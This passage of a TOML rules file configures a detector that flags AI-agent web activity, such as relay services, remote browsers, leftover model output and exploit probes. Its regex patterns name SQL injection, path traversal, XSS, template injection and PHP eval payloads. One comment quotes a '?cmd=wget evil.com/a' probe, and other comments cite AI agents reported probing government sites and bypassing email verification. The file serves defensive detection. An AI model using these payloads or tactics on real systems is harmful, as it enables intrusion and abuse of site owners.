  ["recon", "cmd", "sqli", "ssti", "traversal", "xss"],
]

# Interaction edges (SC-T9). S3 synchronized start: two runs of different
# clients whose requests, unflagged ones of the same client included, line up
# within `lockstep_tolerance_secs` at one offset up to
# `lockstep_max_offset_secs` either way, for at least `lockstep_min_events`
# requests and `lockstep_min_share` of the shorter run. Kept when the larger
# of two chances is at most `lockstep_max_chance`: the shorter run placed at
# random over the analysis span, and its own gaps permuted
# `lockstep_permutations` times with its start kept, continued to
# `lockstep_max_permutations` when none lines up as well. Capture times never
# count. S6 dispatch star: a cluster that `dispatch_min_followers` or more
# different-client clusters each trail at their own lag, read on the
# `[co_activity]` bins and lags, each follower after the leader more often
# than even odds (a sign test on the times), its chance (the larger of that
# and co-activity's) at most `dispatch_pair_max_chance`, followers' own lag
# within `dispatch_lag_tolerance_bins` of the difference of their lags to the
# leader, and the star's combined chance at most `dispatch_max_chance`. S3 to
# S6 edges are each cut at false discovery rate `fdr` over the tests their kind
# read.
[swarm]
lockstep_tolerance_secs = 3
lockstep_min_events = 4
lockstep_min_share = 0.6
lockstep_max_offset_secs = 120
lockstep_permutations = 199
lockstep_max_permutations = 1999
lockstep_max_chance = 0.01
dispatch_min_followers = 2
dispatch_pair_max_chance = 0.05
dispatch_lag_tolerance_bins = 1
dispatch_max_chance = 0.01
fdr = 0.05

# Onset groups: each cluster above noise naming a client is a point at its
# first request or submit time (never a capture time). The densest
# `window_secs` window of points of different clients is a group when it holds
# at least `min_clusters` and its scan chance (Alm's approximation over the
# active span, the gaps between onsets each capped) is at most `max_chance`, a window
# starting within `clock_tolerance_secs` of a clock hour counting
# `clock_weight` of its points;
# the scan repeats on the points left. A group whose members share target
# families (last two labels) beyond their holders across the analysis, at
# `trigger_max_chance` or below, is one common trigger: listed, not kept.
[onset]
window_secs = 900
min_clusters = 4
max_chance = 0.01
trigger_max_chance = 0.01
clock_tolerance_secs = 120
clock_weight = 0.25

# Agent grade: a machine fetch tool's habits, read from one client's requests
# in a run (its unflagged ones included), request and submit times only; each
# an L4 signal. Per-fetch robots: at least `robots_min_share` of at least
# `robots_min_pages` pages come within `robots_window_secs` after a
# /robots.txt request on their host, with `robots_min_repeats` such requests
# on one host, and a chance of at most `robots_max_chance` with the robots
# requests placed at random over the client's span. Rate ceiling: at least
# `rate_min_saturated` windows of `rate_window_secs` hold the most requests any
# window holds (at least `rate_min_cap`), each followed by a request within
# `rate_press_secs` of its end; kept at `rate_max_chance` over
# `rate_permutations` permutations of the run's own gaps, continued to
# `rate_max_permutations` while none holds the ceiling as well. A run with a
# 429 response is not read.
[agentness]
robots_window_secs = 2
robots_min_pages = 3
robots_min_share = 0.8
robots_min_repeats = 2
robots_max_chance = 0.01
rate_window_secs = 60
rate_min_cap = 5
rate_min_saturated = 3
rate_press_secs = 60
rate_permutations = 199
rate_max_permutations = 1999
rate_max_chance = 0.001

# Repeated cut lengths: at least `min_records` truncated URLs within
# `tolerance` characters of a common length. `rule` marks a URL as cut off.
[cut_lengths]
min_records = 3
tolerance = 2
rule = "marker.truncated_output"

# Path hints: recon openings (the first `preamble_len` paths on a host) and
# unusual path sets shared by `min_hosts` hosts or more.
[paths]
preamble_len = 5
min_hosts = 3
min_paths = 3
min_jaccard = 0.6
# What polite crawlers fetch first; an opening of only these is ordinary.
crawler = ["/", "/robots.txt", "/sitemap.xml", "/sitemap_index.xml", "/favicon.ico", "/ads.txt", "/manifest.json"]
# Well-known files a client reads to learn about a host (and /.well-known/*).
recon = [
    "/security.txt", "/humans.txt", "/llms.txt", "/llms-full.txt", "/.git/head", "/.git/config",
    "/.env", "/.ds_store", "/crossdomain.xml", "/clientaccesspolicy.xml", "/server-status",
    "/openapi.json", "/swagger.json", "/api-docs", "/version", "/health",
]
# Paths nearly every site serves, which say nothing about a client.
common = [
    "/index.html", "/index.php", "/index.htm", "/home", "/about", "/contact", "/login",
    "/search", "/admin", "/api", "/wp-admin", "/wp-login.php",
]

# ── Relays: fetch-through / conversion services ────────────────────────────
[[rule]]
id = "relay.jina"
group = "relay"
kind = "relay"
tactic = "T1"
target = "host"
pattern = "r.jina.ai"
weight = 2
description = "Jina Reader: fetches a page server-side and returns Markdown"

[[rule]]
id = "relay.jina_search"
group = "relay"
kind = "relay"
tactic = "T1"
target = "host"
# Jina's search relay: `https://s.jina.ai/<query>` searches the web, fetches
# the top results and returns each through r.jina.ai
# (https://github.com/jina-ai/reader).
pattern = "s.jina.ai"
weight = 2
description = "Jina search relay: searches, fetches the top results server-side and returns Markdown"

[[rule]]
id = "relay.repo_digest"
group = "relay"
kind = "relay"
tactic = "T1"
target = "url"
# Services that turn a code repository into one text digest for a model, by
# swapping the host in a GitHub URL: Gitingest (https://gitingest.com/),
# uithub (https://uithub.com/) and GitMCP, an MCP server per repository
# (https://gitmcp.io/, also `<owner>.gitmcp.io/<repo>`). Developers read
# repositories through them by hand too, so weight 1. Anchored on the layer's
# own host so a page mentioning one does not match.
pattern = "^https?://([a-z0-9-]+\\.)?(gitingest\\.com|uithub\\.com|gitmcp\\.io)([/:?#]|$)"
weight = 1
description = "Repository-to-text digest service (Gitingest, uithub, GitMCP)"

[[rule]]
id = "relay.markdown_new"
group = "relay"
kind = "relay"
tactic = "T1"
target = "host"
pattern = "markdown.new"
weight = 2
description = "URL-to-Markdown converter"

[[rule]]
id = "relay.microlink"
group = "relay"
kind = "relay"
tactic = "T1"
target = "host"
pattern = "api.microlink.io"
weight = 2
description = "Microlink headless fetch API"

[[rule]]
id = "relay.hrefli"
group = "relay"
kind = "relay"
tactic = "T1"
target = "host"
pattern = "href.li"
weight = 1
description = "Referrer-stripping redirector"

[[rule]]
id = "relay.translate_goog"
group = "relay"
kind = "relay"
tactic = "T1"
target = "host"
pattern = "translate.goog"
weight = 2
description = "Google Translate proxy host rewriting"

[[rule]]
id = "relay.allorigins"
group = "relay"
kind = "relay"
tactic = "T1"
target = "host"
pattern = "allorigins.win"
weight = 2
description = "CORS proxy"

[[rule]]
id = "relay.corsproxy"
group = "relay"
kind = "relay"
tactic = "T1"
target = "url"
pattern = "corsproxy\\.io|cors-anywhere|thingproxy|codetabs\\.com/v1/proxy"
weight = 2
description = "Public CORS proxies"

[[rule]]
id = "relay.pure_md"
group = "relay"
kind = "relay"
tactic = "T1"
target = "host"
# https://pure.md (prefix a URL with pure.md/ to fetch it as Markdown)
pattern = "pure.md"
weight = 2
description = "pure.md: fetches a page server-side and returns Markdown"

[[rule]]
id = "relay.defuddle_md"
group = "relay"
kind = "relay"
tactic = "T1"
target = "host"
# https://defuddle.md (append a URL to fetch it as Markdown)
pattern = "defuddle.md"
weight = 2
description = "defuddle.md: fetches a page server-side and returns Markdown"

[[rule]]
id = "relay.archive_raw"
group = "relay"
kind = "relay"
tactic = "T1"
target = "url"
# The raw-capture (`id_`) form of a web-archive URL, or an on-demand save
# endpoint, wrapping a target so the unmodified archived response comes back.
# Transluce documented agents probing through it (SQL injection and filename
# guessing via arquivo.pt/wayback/<ts>id_/<target>):
# https://transluce.org/us-canada-gov . Our own CDX records carry the plain
# `/wayback/<ts>/<original>` and `/web/<ts>/<original>` forms (no `id_`, no
# save endpoint), so this does not fire on them.
pattern = "(arquivo\\.pt/wayback|web\\.archive\\.org/web)/\\d{8,14}id_/|arquivo\\.pt/savepagenow|web\\.archive\\.org/save/"
weight = 2
description = "Raw-capture or on-demand-save web-archive URL wrapping a target (indirection)"

[[rule]]
id = "relay.scrape_api"
group = "relay"
kind = "relay"
tactic = "T1"
target = "url"
# Scraping APIs that fetch a page server-side, through their own browsers and
# proxies, and return it. The target rides in a `url` parameter
# (https://www.scrapingbee.com/documentation/ ,
# https://docs.scraperapi.com/making-requests/customizing-requests ,
# https://docs.zenrows.com/universal-scraper-api/api-reference) or, for
# Firecrawl, in a JSON body posted to api.firecrawl.dev
# (https://docs.firecrawl.dev/api-reference/endpoint/scrape), so a program
# naming it shows the route. Their `api_key`/`apikey` parameters are redacted
# at ingest. Not a subdomain: docs.zenrows.com and www.scrapingbee.com are the
# services' own pages.
pattern = "(^|[^a-z0-9.-])(app\\.scrapingbee\\.com|api\\.scraperapi\\.com|api\\.zenrows\\.com|api\\.firecrawl\\.dev)\\b"
weight = 2
description = "Scraping API fetching a target server-side (ScrapingBee, ScraperAPI, ZenRows, Firecrawl)"

# ── Carriers: echo / sandbox / code-hosting services ───────────────────────
[[rule]]
id = "carrier.httpbin"
# In the program group: the echo service and the page it serves are one route,
# so a script page on httpbin's own endpoints counts once and stays noise.
group = "program"
kind = "carrier"
tactic = "T2"
target = "url"
pattern = "httpbin\\.org|httpbun\\.(com|org)"
weight = 2
description = "Request echo service, used to turn GETs into POSTs or inspect headers"

[[rule]]
id = "carrier.livecodes"
kind = "carrier"
tactic = "T2"
target = "host"
pattern = "livecodes.io"
weight = 2
description = "In-browser code playground used to run fetch programs"

[[rule]]
id = "carrier.codesandbox"
kind = "carrier"
tactic = "T2"
target = "url"
pattern = "codesandbox\\.io|csb\\.app"
weight = 1
description = "CodeSandbox"

[[rule]]
id = "carrier.browserless"
kind = "carrier"
tactic = "T2"
target = "url"
# Browserless hosted headless-browser connection endpoints. Transluce
# documented an agent driving a headless browser through Browserless to read a
# one-time passcode and verify a disposable-mail account
# (https://transluce.org/agent-activity); the connection URL patterns are at
# https://docs.browserless.io/baas/connection-url-patterns . The `token` query
# parameter is a credential and is redacted at ingest (redact.rs OPAQUE_PARAM).
pattern = "production-(sfo|lon|ams)\\.browserless\\.io|chrome\\.browserless\\.io"
weight = 2
description = "Browserless hosted headless-browser endpoint (remote browser)"

[[rule]]
id = "carrier.remote_browser_cdp"
kind = "carrier"
tactic = "T2"
target = "url"
# The DevTools connect hosts of hosted-browser services, which agents drive
# over CDP (`puppeteer.connect`, `connectOverCDP`): wss://connect.steel.dev
# (https://docs.steel.dev/overview/sessions-api/quickstart),
# wss://connect.browser-use.com
# (https://docs.browser-use.com/cloud/guides/browser-api),
# wss://connect.browserbase.com
# (https://docs.browserbase.com/reference/api/connect) and
# wss://connect.hyperbrowser.ai (https://github.com/hyperbrowserai/examples),
# and Lightpanda Cloud's regional `wss://<region>.cloud.lightpanda.io/ws`
# (https://lightpanda.io/docs/usage/cdp/puppeteer).
# The `apiKey`, `sessionId` and `token` parameters are redacted at ingest.
# Not a subdomain, and Lightpanda only on its `/ws` path, so docs and status
# hosts do not match.
pattern = "(^|[^a-z0-9.-])(connect\\.(steel\\.dev|browser-use\\.com|browserbase\\.com|hyperbrowser\\.ai)\\b|([a-z0-9-]+\\.)?cloud\\.lightpanda\\.io/ws\\b)"
weight = 2
description = "Hosted-browser DevTools connect endpoint (Steel, Browser Use, Browserbase, Hyperbrowser, Lightpanda)"

[[rule]]
id = "carrier.agent_sandbox"
kind = "carrier"
tactic = "T2"
target = "url"
# Public preview hosts of code sandboxes agents run in: E2B
# `<port>-<sandbox id>.e2b.app` (https://e2b.dev/docs/network/public-url),
# Daytona `<port>-<sandbox id>.proxy.daytona.work`
# (https://www.daytona.io/docs/en/preview) and Modal web endpoints
# `<workspace>--<label>.modal.run` (https://modal.com/docs/guide/webhook-urls).
# The host names one sandbox or one workspace's function, so it links
# records: an agent fetching from, or calling back to, its own sandbox. A
# public demo many people use stays apart by the feature host cap.
pattern = "(^|[^a-z0-9.-])(\\d{2,5}-[a-z0-9]{12,40}\\.e2b\\.app|\\d{2,5}-[a-z0-9-]{6,64}\\.proxy\\.daytona\\.work|[a-z0-9-]+--[a-z0-9-]+\\.modal\\.run)\\b"
weight = 2
link = true
description = "Code-sandbox preview or function host (E2B, Daytona, Modal)"

[[rule]]
id = "carrier.embed_playground"
group = "program"
kind = "carrier"
tactic = "T2"
target = "url"
# https://transluce.org/agent-activity (agents using
# milankarman.github.io/Embed-Web-Playground to turn GETs into the POSTs a
# scan service needs).
pattern = "milankarman\\.github\\.io/Embed-Web-Playground"
weight = 2
description = "Embed Web Playground used to run fetch/POST programs"

[[rule]]
id = "carrier.microlink_function"
group = "program"
kind = "carrier"
tactic = "T2"
target = "url"
# A Microlink call carrying a serverless `function` body: injected JavaScript
# that submits a form server-side. Transluce documented an agent using it to
# POST a Bureau of Economic Analysis API-key registration with a disposable
# email (https://transluce.org/us-canada-gov).
pattern = "api\\.microlink\\.io/.*[?&]function="
weight = 3
description = "Microlink serverless-function call carrying a program (api.microlink.io/?function=)"

[[rule]]
id = "carrier.data_url_script"
group = "program"
kind = "carrier"
tactic = "T2"
target = "url"
pattern = "^data:text/html.*(<script|fetch\\(|XMLHttpRequest)"
weight = 3
description = "data: URL carrying an HTML program that makes requests"

[[rule]]
id = "carrier.inline_fetch_program"
group = "program"
kind = "carrier"
tactic = "T2"
target = "url"
# `(https?:)?//`: programs also fetch scheme-relative (`fetch('//r.jina.ai/...')`).
# `new Image().src =`: an image-beacon, a program sending data out by loading a URL.
pattern = "fetch\$\\s*['\"`](https?:)?//|new XMLHttpRequest|navigator\\.sendBeacon|new\\s+Image\\(\$\\.src\\s*="
weight = 3
description = "Inline program fetching other URLs from inside a remote browser"

[[rule]]
id = "carrier.form_post_program"
group = "program"
kind = "carrier"
tactic = "T2"
target = "url"
# An HTML form that POSTs to another site, usually submitted on load. Used to
# turn a GET-only fetch into a POST against an API (Transluce, agent activity).
pattern = "<form\\b[^>]*\\bmethod\\s*=\\s*['\"]?post|forms\\[\\d+\\]\\.submit\$|\\.submit\\(\$"
weight = 3
description = "Self-submitting POST form delivered as a program"

[[rule]]
id = "carrier.html_program"
group = "program"
kind = "carrier"
tactic = "T2"
target = "url"
# Script markup inside a URL or a decoded payload: a page built to run in a
# remote browser, not a link to one.
pattern = "<script\\b"
weight = 2
description = "HTML page with script carried inside the request"

# ── Exploit payloads ───────────────────────────────────────────────────────
[[rule]]
id = "exploit.sqli_union"
group = "sqli"
kind = "exploit"
tactic = "T4"
target = "url"
# `select` must be a whole word followed by what a column list starts with:
# null, a number, `*`, `@@`, a bracket, a quote, or a name followed by a comma
# or FROM. "credit union selected", "union selection process" and "union
# select a band" are prose.
pattern = "\\bunion(\\s|\\+|/\\*.*?\\*/)+(all(\\s|\\+|/\\*.*?\\*/)+)?select\\b(\\s|\\+|/\\*.*?\\*/)*(null\\b|-?\\d|\\*|@@|\\(|['\"`]|[a-z_][\\w.]*(\\(|(\\s|\\+)*,|(\\s|\\+)+from\\b))"
weight = 5
significant = true
description = "SQL injection: UNION SELECT"

[[rule]]
id = "exploit.sqli_boolean"
group = "sqli"
kind = "exploit"
tactic = "T4"
target = "param_value"
# The second alternative is the unquoted numeric probe (`State_Id=1 OR 1=1`),
# which Transluce documented at scale against civilrightsdata.ed.gov.
pattern = "'\\s*(or|and)\\s+'?\\d+'?\\s*=\\s*'?\\d|^\\s*-?\\d+\\)?\\s+(or|and)\\s+\\d+\\s*=\\s*\\d+|'\\s*--|\\bsleep\$\\d+\$|waitfor\\s+delay|benchmark\\("
weight = 4
significant = true
description = "SQL injection: boolean / time-based probe"

[[rule]]
id = "exploit.traversal"
group = "traversal"
kind = "exploit"
tactic = "T4"
target = "url"
pattern = "(\\.\\./|\\.\\.%2f|%2e%2e/){2,}|/etc/passwd|win\\.ini|boot\\.ini"
weight = 5
significant = true
description = "Path traversal / sensitive file probe"

[[rule]]
id = "exploit.traversal_single"
group = "traversal"
kind = "exploit"
tactic = "T4"
target = "url"
# One `../` step that survived into the submitted URL. Clients normalise `/../`
# out of paths, so a surviving one was usually encoded (`..%2F`) on purpose.
pattern = "/\\.\\./"
weight = 4
description = "Single path-traversal step (often encoded as ..%2F)"

[[rule]]
id = "exploit.sqli_quote"
group = "sqli"
kind = "exploit"
tactic = "T4"
target = "param_value"
# A single token that is, or ends in, a bare quote: the first probe for SQL
# injection (`'`, `admin'`, `1'`). Spaces are excluded, so a phrase ending in
# an apostrophe (a plural possessive such as `the farmers'`, or `5 o'clock`)
# stays prose, not a probe.
pattern = "^[^'\"\\s]{0,20}['\"]\\)?$"
weight = 3
description = "Lone quote in a parameter value (SQL injection probe)"

[[rule]]
id = "exploit.xss"
kind = "exploit"
tactic = "T4"
target = "param_value"
pattern = "<script|javascript:|onerror\\s*=|onload\\s*=|<svg[^>]*on\\w+="
weight = 4
significant = true
description = "Cross-site scripting probe"

[[rule]]
id = "exploit.ssti"
kind = "exploit"
tactic = "T4"
target = "param_value"
pattern = "\\{\\{\\s*\\d+\\s*\\*\\s*\\d+\\s*\\}\\}|\\$\\{\\s*\\d+\\s*\\*\\s*\\d+\\s*\\}|<%=\\s*\\d+\\s*\\*"
weight = 4
significant = true
description = "Template injection probe ({{7*7}})"

[[rule]]
id = "exploit.boundary_ids"
kind = "exploit"
tactic = "T4"
target = "param_value"
pattern = "^-\\d+$|^9{6,}$|^0{4,}$|^(2147483648|4294967296|9223372036854775808)$"
weight = 1
description = "Out-of-range ID values (often precede injection probes)"

[[rule]]
id = "exploit.cmd_param"
kind = "exploit"
tactic = "T4"
target = "url"
# A command-execution parameter (`cmd`, `exec`, `command`, `execute`) set to a
# shell command: Transluce documented `?cmd=wget evil.com/a` against
# nmdigital.unm.edu (https://transluce.org/agent-activity). Anchored on the
# command name so `cmd=login`, `cmd=list` and a search `q=how to use curl`
# stay prose.
pattern = "[?&](cmd|exec|command|execute)=(wget|curl|whoami|uname|id(&|$)|cat[\\s+]/|ls[\\s+]-)"
weight = 4
significant = true
description = "Command-execution parameter carrying a shell command (?cmd=wget, ?exec=whoami)"

[[rule]]
id = "exploit.null_byte"
group = "traversal"
kind = "exploit"
tactic = "T4"
target = "url"
# A NUL byte in a URL: a null-byte injection, used to truncate a server-side
# path or extension check (`report.pdf%00.php`). The engine decodes `%00` to a
# NUL character, so the decoded byte is matched as well as a double-encoded
# `%00` that survived one layer of decoding.
pattern = "\\x00|%00"
weight = 3
description = "Null-byte injection (%00) in a request URL"

[[rule]]
id = "exploit.userinfo_confusion"
kind = "exploit"
tactic = "T4"
target = "url"
# A URL whose authority puts a dotted-quad before `@` and a host name after
# it: the host a person reads is the IP, not the name, an open-redirect /
# SSRF confusion trick (`https://127.0.0.1@bank.example/`).
pattern = "^https?://(\\d{1,3}\\.){3}\\d{1,3}@[a-z]"
weight = 3
description = "Userinfo host confusion (IP before @, host name after) in a request URL"

[[rule]]
id = "exploit.php_eval"
kind = "exploit"
tactic = "T4"
target = "url"
# `eval(base64_decode(` in a request: a PHP code-execution payload. Transluce
# documented `foo=eval(base64_decode)` against Data USA
# (https://transluce.org/agent-activity).
pattern = "eval\\(\\s*base64_decode\\("
weight = 3
description = "PHP eval(base64_decode(...)) code-execution payload in a request URL"

# ── Agent markers / tags ───────────────────────────────────────────────────
[[rule]]
id = "marker.uq_tags"
group = "run_tag"
kind = "agent_marker"
artifact = true
target = "param_name"
pattern = "^(uqscan|uqtag|uq_tag|uq)$"
weight = 3
description = "urlquery cache-busting / tracking tags seen in agent fleets"

[[rule]]
id = "marker.test_tag"
group = "run_tag"
kind = "agent_marker"
artifact = true
target = "url"
# Test tags that carry a run number, so the match distinguishes one run. No
# letter comes before the tag, so `reagenttest` in a lab-supply slug is not
# one, while `uq_agenttest42` is (an underscore is not a letter). The match,
# and what links, is the `m` group: the tag without the character before it.
pattern = "(^|[^a-z])(?P<m>(chatgpttest|agenttest)\\d*)"
weight = 3
link = true
description = "Test tags agents add to URLs (with a run number)"

[[rule]]
id = "marker.probe_tag"
group = "run_tag"
kind = "agent_marker"
artifact = true
target = "url"
# Fixed probe-tag prefixes with no distinguishing part. They score but do not
# link: a fixed string links every record that bears it (FM-5.2, writing-rules
# "match the distinguishing part, or do not link"). A `tok` value still links
# through the `tok` strong parameter where it is distinguishing.
pattern = "tok=expt|archive_test="
weight = 3
description = "Fixed agent probe tag (tok=expt, archive_test=)"

[[rule]]
id = "marker.oai_tag"
group = "run_tag"
kind = "agent_marker"
artifact = true
target = "url"
pattern = "[?&]zz=oai\\d{6,}"
weight = 3
description = "`zz=oai<digits>` request tag (Transluce, US/Canada government report)"

[[rule]]
id = "marker.callback_seq"
kind = "agent_marker"
tactic = "T7"
target = "param_value"
# Numbered callback labels. A bare `done` is dropped: it is an ordinary status
# value (a job or upload reporting completion), so it needs a numbered partner
# in the sequence to count.
pattern = "^(headers\\d+|body\\d+-\\d+|chunk\\d+|part\\d+of\\d+)$"
weight = 3
description = "Sequenced callback labels (headers0, body0-0, part1of3)"

[[rule]]
id = "marker.title_write"
group = "program"
kind = "agent_marker"
tactic = "T7"
target = "url"
pattern = "document\\.title\\s*="
weight = 2
description = "Program writes its result into the page title"

# ── Language-model output residue ──────────────────────────────────────────
# Text a model wrote around a URL that ended up inside the request: Markdown,
# unfilled placeholders, tool-call JSON or markup, and cut-off output. `url`
# rules see the decoded text, so `%5D%28http` is matched as `](http`.
# A person pasting a chatbot answer into a scan form produces the same residue,
# so these rules are weak alone and never link: many unrelated runs share them.

[[rule]]
id = "marker.md_link"
group = "markdown"
kind = "agent_marker"
artifact = true
target = "url"
pattern = "\\]\\(https?://"
weight = 2
description = "Markdown link syntax `[text](https://...)` inside a request URL"

[[rule]]
id = "marker.md_url_wrapper"
group = "markdown"
kind = "agent_marker"
artifact = true
target = "url"
# A URL opened by a backtick, `**` or `<` (after `=`, `/` or `(`), or one that
# ends in a backtick, `**`, or a `)` with no `(` anywhere before it: the
# closing half of a Markdown link or code span. A trailing `>` alone is left
# out: crawlers capture it from malformed HTML (`/catalog">`).
pattern = "(^|[=/(])(`|\\*\\*|<)https?://|^https?://[^\\s()<>`]*(`|\\*\\*|\\))$"
weight = 1
description = "URL wrapped in Markdown code, emphasis or autolink markup"

[[rule]]
id = "marker.placeholder"
kind = "agent_marker"
artifact = true
target = "url"
# Upper-case constants are matched case-sensitively; `your-api-key` in a docs
# page slug is ordinary prose.
pattern = "(?-i:\\bYOUR_[A-Z0-9_]*(KEY|TOKEN|SECRET|ID|USERNAME|PASSWORD|DOMAIN|URL)\\b|\\bINSERT_[A-Z0-9_]+_HERE\\b|\\bREPLACE_ME\\b|<(TARGET|HOST|DOMAIN|URL|IP|ID|TOKEN|API_KEY|USERNAME|PASSWORD)>)|<your[-_ ][a-z0-9_ -]{2,30}>|\\[your[-_ ][a-z0-9_ -]{2,30}\\]"
weight = 2
description = "Unfilled template placeholder (YOUR_API_KEY, <your-token>, INSERT_ID_HERE, REPLACE_ME)"

[[rule]]
id = "marker.template_unrendered"
kind = "agent_marker"
artifact = true
target = "url"
# Web crawls also capture unrendered front-end templates (`/p/{{item.slug}}`),
# so this stays at weight 1.
pattern = "\\{\\{\\s*[a-z_][\\w.]*\\s*\\}\\}|\\$\\{\\s*[a-z_][\\w.]*\\s*\\}"
weight = 1
description = "Unrendered template variable ({{target}}, ${HOST})"

[[rule]]
id = "marker.example_host_value"
kind = "agent_marker"
artifact = true
target = "url"
# Only a redirect or callback parameter set to the reserved example domain.
# Fetching example.com through a relay (`?url=https://example.com/`) is how
# people try a tool out, and pages that mention it in paths or search text are
# ordinary.
pattern = "[?&](redirect(_ur[il])?|redirect_to|return(_?to|_?url)?|next|continue|callback(_?url)?|dest(ination)?|goto|target)=((https?:)?//)?([a-z0-9-]+\\.)*example\\.(com|org|net)([/:?#&]|$)"
weight = 1
description = "Redirect or callback parameter left pointing at example.com (template default or redirect probe)"

[[rule]]
id = "marker.tool_call_json"
group = "tool_call"
kind = "agent_marker"
artifact = true
target = "url"
# Tool arguments as JSON: an object opening on a URL or command key, an
# `"arguments":` field, or JSON escaped inside a JSON string. Generic keys that
# GET APIs take as JSON (`{"query":` for Elasticsearch, `{"input":` for GraphQL
# variables, `{"where":`/`{"name":` for filters) are left out.
pattern = "\\{\\s*\"(url|uri|href|link|command|cmd|tool|tool_name|function)\"\\s*:|\"arguments\"\\s*:|\\\\\"(url|query|q|arguments|command)\\\\\"\\s*:"
weight = 3
description = "Tool-call JSON arguments inside a request ({\"url\": ..., \"arguments\": ...)"

[[rule]]
id = "marker.json_quote_residue"
group = "tool_call"
kind = "agent_marker"
artifact = true
target = "url"
# The tail of a JSON string (`..."}`, `...",`) left on a URL, or a parameter
# whose value is a quoted URL, opened or closed: an argument copied with its
# quotes. ` href="https://` in an HTML program is not preceded by `?` or `&`.
pattern = "^https?://[^\\s\"]+\"\\s*[,}\\]]+\\s*$|[?&][\\w.-]+=[\"']https?://"
weight = 2
description = "JSON or string quoting left around a URL or a URL parameter"

[[rule]]
id = "marker.mcp_call"
group = "tool_call"
kind = "agent_marker"
artifact = true
target = "url"
# A Model Context Protocol JSON-RPC request (`"jsonrpc": "2.0"` with a
# `tools/call`, `tools/list`, `resources/read` or `prompts/get` method) inside
# a request: a tool call written into a URL
# (https://modelcontextprotocol.io/specification/2025-06-18/server/tools).
# Other JSON-RPC methods (`eth_call` on a blockchain node) are not matched.
pattern = "\"jsonrpc\"\\s*:\\s*\"2\\.0\"[^#]{0,300}?\"method\"\\s*:\\s*\"(tools/(call|list)|resources/read|prompts/get)\"|\"method\"\\s*:\\s*\"(tools/(call|list)|resources/read|prompts/get)\"[^#]{0,300}?\"jsonrpc\"\\s*:\\s*\"2\\.0\""
weight = 3
description = "MCP JSON-RPC tool request ({\"jsonrpc\": \"2.0\", \"method\": \"tools/call\"}) inside a request"

[[rule]]
id = "marker.mcp_tool_name"
group = "tool_call"
kind = "agent_marker"
artifact = true
target = "url"
# An MCP tool named as an agent host names it, `mcp__<server>__<tool>`
# (https://code.claude.com/docs/en/mcp). Developers search for these names,
# so this stays below suggestive alone.
pattern = "\\bmcp__[a-z0-9_-]+?__[a-z0-9_-]+"
weight = 2
description = "MCP tool name in agent-host form (mcp__server__tool) inside a request"

[[rule]]
id = "marker.agent_discovery"
kind = "agent_marker"
artifact = true
target = "url"
# Paths an agent client reads to find another agent or a tool server: the
# A2A agent card (`/.well-known/agent-card.json`, earlier `agent.json`,
# https://a2a-protocol.org/latest/specification/) and a bare `/mcp` or `/sse`
# endpoint, where MCP servers conventionally listen
# (https://modelcontextprotocol.io/specification/2025-06-18/basic/transports).
# Other clients read them too, so weight 1.
pattern = "/\\.well-known/agent(-card)?\\.json\\b|^https?://[^/?#]+/(mcp|sse)/?([?#]|$)"
weight = 1
description = "Agent-discovery path (A2A agent card, bare /mcp or /sse endpoint)"

[[rule]]
id = "marker.escaped_newline"
kind = "agent_marker"
artifact = true
target = "url"
# A literal backslash-n (`%5Cn`) not followed by a letter, so Windows paths
# such as `C:\notes` do not match.
pattern = "\\\\n(\\\\n|[^a-z0-9_]|$)"
weight = 1
description = "Escaped newline (\\n) from a model's string output left in the URL"

[[rule]]
id = "marker.truncated_output"
kind = "agent_marker"
artifact = true
target = "url"
# Ends in half a percent escape (`%2`) or the ellipsis character. A decoded
# `%` alone is not matched: `50%25` decodes to `50%`.
pattern = "%[0-9a-f]$|\\x{2026}$"
weight = 1
description = "URL cut off mid escape or ending in an ellipsis (truncated model output)"

[[rule]]
id = "marker.chat_opener"
kind = "agent_marker"
artifact = true
target = "url"
# A chat reply's opening words ("Sure, here is", "Certainly!", "I'll ",
# "As an AI") at the start of a parameter value or path segment, followed in
# the same value by a URL or a colon that introduces one. People type "here is
# the" and "I'll be there" into search boxes; without the URL or colon that
# follows, those are left alone.
pattern = "(^|[/=])[\"'`]?(sure[,!.]?[\\s+]+here|certainly[!,.]|of[\\s+]+course[!,.]|i['\\x{2019}]ll[\\s+]|i[\\s+]+will[\\s+]|here(['\\x{2019}]s|[\\s+]+(is|are))[\\s+]+the[\\s+]|as[\\s+]+an[\\s+]+ai\\b)[^&#]{0,200}?(https?://|:[\\s+]*$|:[\\s+]*[\\[{<`\"'])"
weight = 2
description = "Chat reply opener (\"Sure, here is\", \"Certainly!\", \"As an AI\") before a URL in a parameter"

[[rule]]
id = "marker.doubled_scheme"
kind = "agent_marker"
artifact = true
target = "url"
# Two schemes back to back (`https://https://`, `http://https%3A//`). A
# redirect parameter carrying an encoded URL has one scheme after `=`, not two
# in a row, and a host such as `https-portal.example` is not a scheme.
pattern = "https?:/+https?(:/*|//)"
weight = 2
description = "Doubled scheme (https://https://) in a request a model built"

[[rule]]
id = "marker.garbled_scheme"
kind = "agent_marker"
artifact = true
target = "url"
# A parameter set to a URL missing its colon (`?url=https//`), or a defanged
# `hxxps://` URL passed to a relay path or a URL parameter. Analysts search
# for defanged indicators, so `?q=hxxps://` is not matched, and crawlers
# capture broken `href="http//..."` links as paths, so a bare `/https//` is
# not either.
pattern = "[?&][\\w.-]+=https?//[a-z0-9]|(^|/|[?&](url|uri|u|target|link|src|source|page|href)=)hxxps?(://|\\[:\\]//)"
weight = 1
description = "Garbled or defanged scheme (https//, hxxps://) in a request URL"

[[rule]]
id = "marker.impossible_date"
kind = "agent_marker"
artifact = true
target = "url"
# A date parameter (name contains date, day, from, to, since, until, start,
# end, dt, after, before, when or time) set to a date no calendar has: Feb 30
# or 31, the 31st of a 30-day month, month 13 or more, day 32 or more. Slashed
# dates are only matched when invalid in both day/month orders. Versions and
# IDs shaped like dates sit under other parameter names.
pattern = "[?&][\\w.\\[\\]-]*(date|day|from|to|since|until|start|end|dt|after|before|when|time)[\\w.\\[\\]-]*=(\\d{4}-(02-3[01]|(04|06|09|11)-31|(1[3-9]|[2-9]\\d)-\\d{2}|\\d{2}-(3[2-9]|[4-9]\\d))|(02[/-]3[01]|3[01][/-]02|(0?4|0?6|0?9|11)[/-]31|31[/-](0?4|0?6|0?9|11)|\\d{1,2}[/-](3[2-9]|[4-9]\\d)|(3[2-9]|[4-9]\\d)[/-]\\d{1,2})[/-]\\d{4})([T\\s+&#]|$)"
weight = 2
description = "Impossible calendar date (2026-02-30, 2026-13-01) in a date parameter"

[[rule]]
id = "marker.repeated_token"
kind = "agent_marker"
artifact = true
target = "param_value"
# The pattern finds values of five words or more; the check then wants one
# word (three characters or more, with a letter) or a phrase of up to three
